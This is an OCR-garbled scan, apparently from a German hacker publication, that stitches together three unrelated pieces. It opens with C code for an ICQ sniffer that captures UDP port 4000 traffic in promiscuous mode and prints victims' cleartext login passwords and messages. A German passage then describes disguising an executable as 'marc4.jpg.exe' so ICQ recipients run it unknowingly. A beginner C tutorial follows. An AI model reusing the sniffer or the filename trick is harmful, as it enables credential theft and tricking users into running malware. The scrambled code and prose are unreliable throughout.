icgstring *s)

fwite(s->data, s->len-1, 1, stdout);

* Scan a packet for clues

static int process_packet (struct sockaddr

/*

*sa, unsigned char *packet, int |en)
{

int i;

int |v;

int d=0;

static | ong nunmeO;

struct iphdr *iph;

struct udphdr *udphdr;

i f(strcnp(sa->sa_data, "eth0"))
return

0;

/* Wong port */
if(lip_p(packet, len))

return O;

i ph=(struct iphdr *)(packet+14);
udphdr=(struct udphdr *)(iph+1);
/* assune no options */

| v=nt ohs(udphdr - >l en);

i f( udphdr->source !=htons(4000) && udphdr->dest!=ht ons(4000))

{

return O;

}

printf("packet %l \r", ++num;*/

i f (i ph->saddr==htonl (MY_CLI ENT_TO WATCH))
{

printf("To Server: % bytes\n", [v);

}

el se if (i ph->daddr==htonl (MY_CLI ENT_TO WATCH))
{

printf("From Server: %l bytes\n", 1v);
d=1;

}
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el se return 0;

i =14+si zeof (struct i phdr);
if(len-i>lv)
I en=i +l v;
i +=si zeof (struct udphdr);
/* printf("UDP
size %\n",i);*/
i f(i>=sizeof(struct icqghdr)+sizeof(struct udphdr))

{
struct icqhdr *p=(struct icghdr *)(udphdr+1);

printf("From % d\n", p->uid);
printf("Version: % . %\ nConmand ",
p->version[1l], p->version[0]);

swi t ch( p- >comrand)

{

case Ox000A:

printf("Ack");

br eak;

case Ox03ES8:

{

struct icqlogin *il=(struct icqlogin *)p;
printf("Login Password ");
print_icqg_string((struct icgstring *)& l->pw_|en);
printf(" IP %", inet_ntoa(il->addr));

br eak;

#if 0
case 0x0x??
{
struct in_addr v=*(struct in_addr *)p->data;
printf("Ping %", inet_ntoa(Vv));
br eak;

}
#endi f

case 0x409:

{
printf("Ping");

br eak;
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}
case 0x0438:

{

struct icqstring *s=(struct icqgstring *)p->data;
printf("Di sconnect (");

print_icqg_string(s);

printf(")");

br eak;

}

case 0x0456:

{

/* data +4,5 is always 0100 */

struct icgstring *s=(struct icgstring *)(p->data+6);
printf("Message to %d ", *((long *)p->data));
print_icg_string(s);

br eak;

}

case 0x0460:

{

printf("Information %d on ID %",

*((short *)p->data),

*((long *)(p->data+2))

)

br eak;

}

case Ox046A:

{

printf("Information_2 %d on ID %",

*((short *)p->data),

*((long *)(p->data+2))

)

br eak;

}
case 0x04D8:

{

printf("Status ");
switch(*((long *)p->data))
{

case 0x00:

printf("[Away 0]");
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br eak;

case 0x01:

printf("

br eak;

case 0x10:

printf("

br eak;

case Ox11:

printf("

br eak;

defaul t:

printf("

br eak;

}

defaul t:

printf("9®4X", p->command);

}

i f (p->sequence)
printf("\nSequence %\ n",

p- >sequence);

el se

printf("\n");

}

}

i f(i>=sizeof (struct icqgack)+sizeof(struct udphdr))
{

struct icqack *p=(struct icgack *)(udphdr+1);
i f(d==1)

{

printf("Version: %l. %\ nReply ",
p->version[ 1], p->version[0]);
switch(p->result)

{

case OxO000A:

printf("Ack");

br eak;

case OxO0OE6:

printf("Away Reply ");

printf("for %d",

[Awnay 1]");

[DND 0] ")

[DND 1]");

%WaX"
*((long *)p->data));
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*((long *)p->data));
br eak;

case 0x0118:

{

struct icqgstring *is;
printf("InfolD %\ n",
*((short *)p->data));
printf("1CQ 1D %d\n",

*((long *)p->data+2));

is=(struct icqgstring *)(p->data+6);

printf("Nck ");

print_icqg_string(is);

is=(struct icgstring *)(((char

printf("\nNane ");

print_icg_string(is);

is=(struct icqgstring *)(((char

printf(" ");

print_icqg_string(is);

is=(struct icgstring *)(((char

printf("\nEMail ");

print_icqg_string(is);

is=(struct icgstring *)(((char

printf("\ninfo ");
print_icqg_string(is);

br eak;

}

defaul t:

printf("9®4X", p->result);
}

i f (p->sequence)
printf("\nSequence %\ n",
p- >sequence) ;

el se

printf("\n");

}

}

whi | e(i <l en)
{

int x;

*)is)+is->len+2);

*)is)+is->len+2);

*)is)+is->len+2);

*)is)+is->len+2);
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for(x=0; x<8 && i +x<len; x++)
{

printf("%92X ", packet[i+x]);
}

printf(" ")

for(x=0; x<8 && i +x<l en; Xx++)
{

unsi gned char c=packet[i +x];

i f(c>=32 && c< 127)
printf("%", c);

el se

printf(".");

}

printf("\n");

i +=8;

}

printf("\n");

fflush(stdout);

return O;
}
int main(int argc, char *argv[])
{

int s;

unsi gned char buf[1600];
struct sockaddr sa;

int salen;

int len;

s=creat e_socket ();

prom scuous(s, "eth0", 1);
whi | e(1)

{

sal en=si zeof (sa);
if((len=recvfrom(s, (char *)buf, 1600, 0, &sa, &salen))==-1)
{

perror(“recvfrom');

cl ose_socket (s);

exit(1l);

}

process_packet (&sa, buf,len);

}

printf("An error has occured.\n");
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cl ose_socket (s);

exit(0);

Ei ne ndgliche Lésung besteht in einem Update des eigenen ICQ dients auf
m ndestens |1 CQ 98a, da dort die Authentifizierung nicht nehr imKlartext
stattfindet.

Zu | ange Dat ei nanen

Di eser nun folgend erklart, von Justin dift herausgefundene Bug wurde nit
demWn32 1CQdient in der Version 98a 1.3 erfolgreich getestet. Auch
funktioniert diese Attacke imbeliebten M RC-Cient.

Schi ckt eine Person ei nem anderen User per | CQ eine Datei, so

erscheint ein PopUp-Fenster, in der der Enpfanger den Datei-Namen und

di e kurze Beschrei bung des Senders | esen kann. Nun hat der Enpféanger die
Wahl, ob er die Daten verwerfen nichte, ob er sie speichern will und ob

si e nach dem spei chern automati sch angezei gt bzw. ausgefihrt werden sollen.

Das Probl em besteht nun darin, dass bei di esem PopUp- Fenster der
Ausschnitt fur die Anzeige des Datei-Nanmens in gew ssen Fallen nicht

ausrei chend ist, und somt nur der Anfang des Datei nanens angezei gt

wird. Als Beispiel kann hier die ausfihrbare Datei mt dem Nanen

"mar c4. j pg. exe" genonmen werden: Der Enpfanger sieht auf dem

Bi | dschirm nur "marc4.jpg" als Dateinanen; der Rest wird i hm nicht

ngezei gt. Speichert der Enpféanger diese Sendung nun, und wadhlt die Option
Aut omat i sches Anzei gen bzw. Ausfidhren nach dem Speichern", so wird nicht
ein Bild angezeigt, sondern verneindlich korrupter Programmtode ausgef ihrt.

Mrabilis wiurde Uber diesen Fehler informert, sie versaunten es
j edoch, aktiv gegen diesen Fehler ihrerseits vorzugehen.

Di e aktuell sten Sicherheitslicken von I CQ finden sich auf Deutsch unter
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Coden

C-Kurs Teil 1

In diesem Teil des c-kurses werden wir erstmal einige
grundl egende Dinge z.B uUber den Aufbau von Programmen
erfahren, weil man darauf besser aufbauen kann

Wenn mir nmit der Theorie durch sind, werden wir mt
der C-Progranmi erung anfangen. Ich hab in dieser Lek-
tion fol gendes vor

- Ausgabe

- Variabl en

- Ei ngabe

Al'l e Progranme werden in einer Konsole ablaufen, wr
werden al so kein Programe nmit G aphi scher Schnitt-
stell e progranmm eren.

I ch gehe davon aus, dass ihr wi sst, wie nman einen
Quel ltext konpilliert und linkt. Falls ihr dabei
Probl eme haben solltet, postet sie.

Falls ihr eine Frage habt, egal wi e bldd sie
erschei nen mag, postet einfach, es reist euch
daf ir kei ner den Kopf ab.

Ach ja, dieser erste Teil des Kurses, wird wahr-
scheinlich fir diejenigen unter euch, die noch
nie was mt Progranm eren am Hut hatten der
Schwerste. Es ist nicht so schlimm wenn ihr nicht
alles gleich versteht, ihr habt 1 woche Zeit, und
macht nicht zu viel auf einmal. Mt der Zeit lernt
man di e neuen Sachen imer |eichter und |eichter

i hr werdet sehen.

1. Theorie

We ist ein Programm auf gebaut?

Jedes Progranmm braucht einen "Ei nsprungspunkt".
Der "Ei nsprungspunkt” legt fest, wo der Conputer
sqater mal mit dem Ausfihren der Befehle, die

Wi r programm ert haben, anfangen soll. In Cist
der Ei nsprungspunkt die "Funktion" nmain()

Was i st eine Funktion?
Funkti onen sind Codeabschnitte. Ein Beispiel

void min() <---------- Der Name der Funktion

{

H er stehen spater di e Anwei sungen.
}o<--eee---- Funkti onsende

Di e Anwei sungen in einer Funktion sind in C von ge-
schwei ften Kl amrern ungeben. Der Nane ei ner Funk-
tion ist daher notwendig, weil wr auch aus Funk-
tionen, andere Funktionen aufrufen kénnen, und
dazu missen wir definieren kdnnen, wel che Funktion
wi r aufrufen woll en. Funktionsnanen sind nichts
weiter als eine "erleichterung" fir den Programm
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ierer, sie reprasentieren in Wrklichkeit Adressen
(Wenn i hr das gerade nicht verstanden habt, nacht
das nichts, wir werden gl eich konkrete Beispiele
sehen).

Die nmain() Funktion ist eine ganz Besondere Funk-
tion. Sie ist der Einsprungspunkt in unser Pro-
gramm und muss daher in jedem C - Programm vor -
handen sein. (man nuss ja w ssen, wos | ogsgeht )

2. C
- - - Ausgabe- - -

Ok, da wir nun wissen, wie ein Programm so ungefahr

auf gebaut ist, wollen wir auch gleich nmal |oslegen.

Ich werde jetzt ein kleines Progranm hi er hinschreiben

der Quelltext geht unter /*Start*/ los, und endet be
[*Ende*/. lhr kénnt /*Start*/ und /*Ende*/ mt konpilieren
das sind sogenannte Komentare, und werden vom conpil er

ei nfach ignorierd.

[*Start*/
#i ncl ude <stdio. h>
void main()

printf("Hello World");
}

[ *Ende*/

Nach dem conpil en und |linken, kénnt ihr das Progranm aus-
fahren. Es kann sein, dass das DGCS-Fenster gleich w eder zu-
kl appt, wenn das der Fall ist, fagt ihr unter

#i ncl ude <stdi o. h> fol gendes ein:

#i ncl ude <stdlib. h>

und vor der 2. geschweiften Kl amer fol gendes:

systen(" PAUSE") ;

Conpi | ed das Programm dann neu, und das DCS- Fenster sollte
of fen bl eiben (D e Linux Shell auch). Um das Progranm zu
beenden niisst ihr <enter> oder irgend ne andere Taste

dr icken.

So, was macht das Programm nun im Ei nzel nen?

#i ncl ude <stdio.h> Das ist eine sogenannte Header dat ei
Sie enthdlt vorgefertigte "Sachen",

wi e z.B Funktionen (exakter Verweise

auf Funktionen). |hr misst noch nicht

wirklich wissen, fir was sie da ist,

aber das Programm wi rd ohne diese Zeile

von Code nicht | aufen.

void main() Die main Funktion, der Ei nsprungspunkt
unseres Programms. Das void vor main()
interessiert uns vorerst nicht.

{ I'n der Zeile nach dieser Kl anmer begi nnt
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der "eigentliche Code", nanmich die Befehle,
die wir erteilen, z,B printf();

printf("text"); printf(); ist eine Funktion. Sie existiert
bereits, d.h wir nissen sie nicht selber
progranm eren, das haben schon andere Leute

far uns getan. printf() dient zur (formatierten)
Ausgabe auf der Shell. Wenn wir printf();
aufrufen, wird !!zuerst!! der Code der

Funktion printf(); ausgefihrt, befor der

Code unseres Programmes weiter verarbeitet wird
Doch was macht jetzt das kom sche "text" bzw
"hello world" in den Klammern von printf?

Funkti onen werden "Paraneter" U(bergeben, mt
deren Hilfe wir das Verhalten von Funktionen
steuern konnen. Das ".." bei printf(); ist der

1 Parameter. Funktionen kénnen nehrere Paraneter
haben, di ese werden dann durch Kommas getrennt,
z. B funktion(paranterl, paraneter?2);

} hier sieht der Conpiler, dass unser Code
zu ende ist.

/*Start*/ ist wie bereits erwdhnt ein Kommentar. Kommentare
di enen dazu, zusatzliche Informationen (fir den

Programm erer, nicht fir den conpil er oder sonst

was) bereit zu Stellen. Sie werden vom Conpil er

ni cht beachtet und sind i mspateren Progranmm ni cht
enthalten. Ein Komentar hat fol genden Syntax:

/* hier steht das Komentar */ Wr stellen fest,

in C stehen Kommentar inmer zw schen /* und */

So, das war jetzt, natiUrlich alles etwas viel auf einnal,

aber wenn ihr in ungeféahr w sst/verstanden habt, we

ei n Programm auf gebaut ist, und was di e einzel nen Sachen bedeut en
rei cht das schon aus.

3. Variabl en

Um | nformati onen zu spei chern, verwenden wir "Variablen".

Vari abl en sind Platzhalter fir Zahlenwerte. Es gibt

ver schi eden Vari abl entypen. Di e verschi edenen Vari abl entypen
kénnen unt erschi edlich groRe Zahl en speichern. Ich werde jetzt
bewusst nicht alle Variabl entypen aufzéahl en, da das nichts bringen
wirde. Stattdessen, werde ich imrer w eder einen neuen Variabl en-
typ einfihren, wenn wir ein passendes Programm coden

Vari abl en werden in C fol gendermal3en definiert.

int var;

| |
Typ Nane

Vari abl en haben genau so wi e Funktionen Nanmen, danit nan sie
ausei nander hal t en kann.

Wr haben hier den Variablenty "int" verwendet. Es hangt von
eurem System ab, wi e groRR dieser Variablentyp ist(wieviel Platz
die Varible zum Speichern von I nformationen hat). Nornal erwei 3e
auf 32 bit systemen 4 Byte und auf 16 bit systenen 2 Byte.

162



Noch was: I hr fragt euch doch sicher, warumnman imrer ein ; nach

so ziemich alles setzen nuss, z,B funktion(paremater, paraneter); <--
oder int var;<-- . Das hédngt damit zusammen, dass wir nit diesem;
dem Conpi | er zu verstehen geben, das der Befehl fertig ist, und

dass nun ein neuer Befehl folgt. Es gi bt Progranm ersprachen, da gi bt
es sowas nicht, da wird jeder Befehl in ein eigene Zeile geschrieben
Das scheint zunéchst logisch, weil wir jain Cbis jetzt auch alle
Befehle in eigene Zeile schreiben. Wr kénnte aber auch (fast) alle
Befehle in ein Zeile schreiben z.Bint var; int x; int y; int z; usw

Ei n kl ei nes Bei spi el
[*Start*/
#i ncl ude <stdio. h>

voi d mai n()

int x; /*Variable erstellen*/

X = 4; /*x den Wert 4 zuwei sen*/

X = 7+6; /*x den Wert 7+6 zuwei sen al so 13*/

x = 7/3; [*x den wert 7/3 zuwei sen*/

X = 79%; /*x den Wert 7% zuwei sen*/

X = 7*4; [*x den Wert 7*4 (28) zuweisen .. usw/
X =X + 1;

X = -300;

}

[ *Ende*/

Di eses Progranm gi bt nichts auf dem Bildschirm aus, es definiert
nur eine Variable, und weist ihr verschi edene Wert zu
I ch habe das Programm gl eich nit Kommentaren versehen, damit ihr
gl eich seht, was bei den einzel nen Befehlen so abgeht.

I hr seht mt di esem Programm auch, wie man in C rechnen kann

Es gibt zumeinen die 4 Gundrechenarten, die wir alle aus

der Schul e kennen, +,-,*,/ , diese werden auch so benut zt,

wie wir das gewohnt sind. Aber dann, was geht?, gibts da noch
ein so ein endkrasses Teil namich % Das ist ein sogenanntes
Modul 0. Gh?? Mt einem Modul o kénnen wir den Rest einer Division
berechnen, z.B x = 7%. Bei diesem Beispiel wirde in x der Wert
1 gespeichert, da 7/2 3 plus Rest 1 ist.

Ein Paar informationen zum Vari abl entyp int:

eine int Variable kann nur ganzzahlige Wrte aufnehnen, z.B

5 oder 7 oder 9876. Sie kann kei ne Komazahlen wie z.B 7.98
oder so speichern

Man unt erschei det bei int wie auch bei Variabl en generel

unter dem Zustand signed und unsigned. Signed ist Standart-
malki g eingestellt, d.h wenn wir eine neue Variable erstellen

i st sie Standardméli g signed. Signed hei 3t, dass die Zahl die
in der Variablen gespeichert wird ein Vorzeichen hat, d.h dass
die Variable positive (+) und auch negative(-) Werte Speichern
kann. Wollen wir eine Variable, die nur positive Wrte speichern
kann, missen wir die Variable wi efol gt erzeugen

unsi gned int x;

Wr héatten soeben eine Vorzeichenl ose (nur plus) int Variable

163



des Nanens x erstellt.

Wr koénnen auch fol gendes machen. .
/*start*/

#i ncl ude <stdio. h>

voi d mai n()

int x; /*Variable x erzeugen*/
int y; /*Variable y erzeugen*/
z

int z; /*Variable z erzeugen*/

X = 4; [*x den Wert 4 zuweisen*/

y = 2; /*y den Wert 2 zuwei sen*/

z =X - Yy; /*erklar ich unten...*/
}

/ *ende*/

Er kI &r ung:

bei z =x - y; wird z der Wert der Differenz von x - y

zugewi esen. Da in x der Wrt 4 und in y der Wert 2

gespei chert war, entahlt z nun den wert 2 (4-2=2).

Wenn wir nun z.Bin x den Wert 60, und in y den Wert

10 gespeichert hatten und dann coden wirden

z = x * y; dann wirde das fol gendem gl ei chen

Z = 60*10; (da Variablen ja nur Platzhalter/Speicherstellen sind)
far Werte sind. Das Ergebniss von x*y wdre dann 600 und

wir de geméfd der Anweisung z = X*y in z gespeichert(z enthalt
dann den Wert 600. Diese Prinzip | dsst sich auf alle Rechenarten
anwenden auch auf den/das?? Modul o.

4. Ausgabe (nochmal was neues...)

Wr haben ja in 2. die Ausgabe von Text kennen gelernt.
Doch was machen wir, wenn wir in der 1. Zeile Hallo und

in der 2. Zeile Welt ausgeben wollen? Es nuss al so ein
Mbgl i chkeit geben, der Funktion printf(); mitzuteilen, dass
wir nach Hallo in einer neuen Zeile weiterschreiben woll en.
Dazu di enen uns sogenannte "Escape Sequenzen"

bsp:

/*start*/

#i ncl ude <stdio. h>

void main()

{
printf("Hallo\nWelt\n");
}

[ *ende*/
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so, habt ihr die Escape sequenz schon gesichtet?
CGenau \n. Die Escape sequenz \n bwirkt, das nach Hallo

in eine neue Zeile gesprungen wird und Welt ausgegeben wird.

Dann wird erneut durcht \n in eine neue Zeil e gesprungen

Escape Sequenzen werden i nmmer durch einen \ eingeleitet.
Das hei 3t jetzt aber, das wenn wir einen \ ausgeben woll en,
\\ schrei ben missen, das sonst der Conpiler denkt, dass der
nadchste Buchstabe nach dem\ di e Escape Sequenz angiebt.

Escape Sequenzen:

\\ gibt eine \ aus

\" gibt " aus

\'n neue Linie

\'b Akkustisches Signal

Das waren noch | ange nicht alle Escape Sequenzen. |ch werde
euch die Restlich im Verlauf des Kurses verklickern

noch ein bsp:
/*start*/

#i ncl ude <stdio. h>
voi d main()

{
printf("\\ \n\" \n \b");
}

[ *ende*/
ich denke, das diurfte klar sein.

Ich mach auch gleich nit etwas neuem weiter.
Erst nmal ein Bsp Code

[*Start*/
#i ncl ude <stdio. h>

void main()

{

int x;
X = 4;

printf("x hat den Wert: % \n", Xx);
}

[ *Ende*/

I hr misstet eigentlich alles bis auf die etwas kom sch
printf(); Anweisung verstehen. Fuhrt das Progranm mal

aus, ihr werdet folgende Ausgabe bekommen:

X hat den Wert: 4

WAas ist passiert? An Stelle das % (i mersten Paraneter von
printf()steht wenn nman das Progranmm ausfihrt 4.

Wr konnen die Werte von Variablen nit Hilfe von Fornatier-
anwei sungen in die Ausgabe mt Einbinden. Daher wird die
Ausgabe mit printf(), auch als formatierte Ausgabe bezeich-
net .
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Noch ein Bsp:
[*Start*/

#i ncl ude <stdio. h>
void main()

{

int x;

int vy;

X
y

4;
2;

printf("Wert von x = %\n Wert vony = %l\n", X, y);
printf("Wert von x +y = 9%\n", x +vy);
}

[ *ende*/

Ok, wir sehen, dass wir beliebig viele Variablenwerte in die
Ausgabe mit "einformatieren"” kdnnen. Die Variablen, deren Werte
wi r ausgeben woll en, werden in gesonderten Paranetern (al so durch
Kommas getrennt) angegeben.

Beim2. printf(); ist als 2. Paraneter x + y angegeben, w e geht das?
Es ist so, dass befor eine Funktion letzlich aufgerufen wird, erst
al | e Berechnungen, der einzelnen Paraneter durchgefirt werden.

d.h befor printf(); aufgerufen wird, wird erst x + y berechnet, und
dann die printf(); aufgerufen. Die Werte von x und y &ndern sich
dadurch nicht!!

5. Ei ngabe

Da wir nun schon w ssen, w e ein Progranm auf gebaut ist,
wi e man Vari abl en benutzt, und wie man Text und Vari abl en-
werte in der Shell ausgibt, werden wir uns als néchstes
anschauen, wie man Werte von der Tastatur einliest.

Die Funktion, mt der wir von der Tastatur Werte einl esen
kdnnen hei Bt scanf();.

bsp:

[*Start*/

#i ncl ude <stdi o. h>

void main()

{

int x;

scanf ("%l", &x); /*einlesen des Wertes*/

printf("du hast %l ei ngegeben\n", x);
}
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/ *Ende*/

Was passiert bei scanf(); genau? Der 1. Paraneter ist

di e Formati erungsanwei sung sprich, welchen Typ von einer
Vari ablen wir einlesen nichten (oder exakter, in welchen
Vari abl entyp der von der Tastatur eingel esene Wert kon-
vertiert werden soll).

Der 2. Paraneter gibt die Variable an, in der wir den

ei ngel esenen Wert speichern wollen. Jetzt steht aber vor
der Variablen so ein kom sches & Ws di eses & genau macht,
erzahl ich euch, wenn wir zu Zei gern kommen (Ubernéchstes
Kapitel). Das & nuss aber vor dem Vari abl ennanen st ehen,
sonst funktioniert es nicht.

Wr koénnen auch nehrere Werte auf einnmal einlesen, bsp

[*start*/
#i ncl ude <stdio. h>

void main()
{

int x;

int vy;

scanf ("% %", &, &y);
}

[ *ende*/

Ok, das war der erste Teil des Tuts, probiert einfach na
ein bisschen nit dem gel ernten Zeug herum sprich schreibt
ei nfache Programme, di e Zahl en einl esen, ausgeben

Ber echnungen dur chf ihren usw.

Noch was, postet bitte, wie ihr die Erklarungen fandet
(zu schwer, zu ausfihrlich) und was ich besser machen kénnte.

I m ndchsten Kapitel machen w r Bedi ngte Befehl sausf ihrung,

Schl ei fen, Logi sche Verknipfungen. (alles um einiges einfacher
al s das hier).

geschri eben von ups
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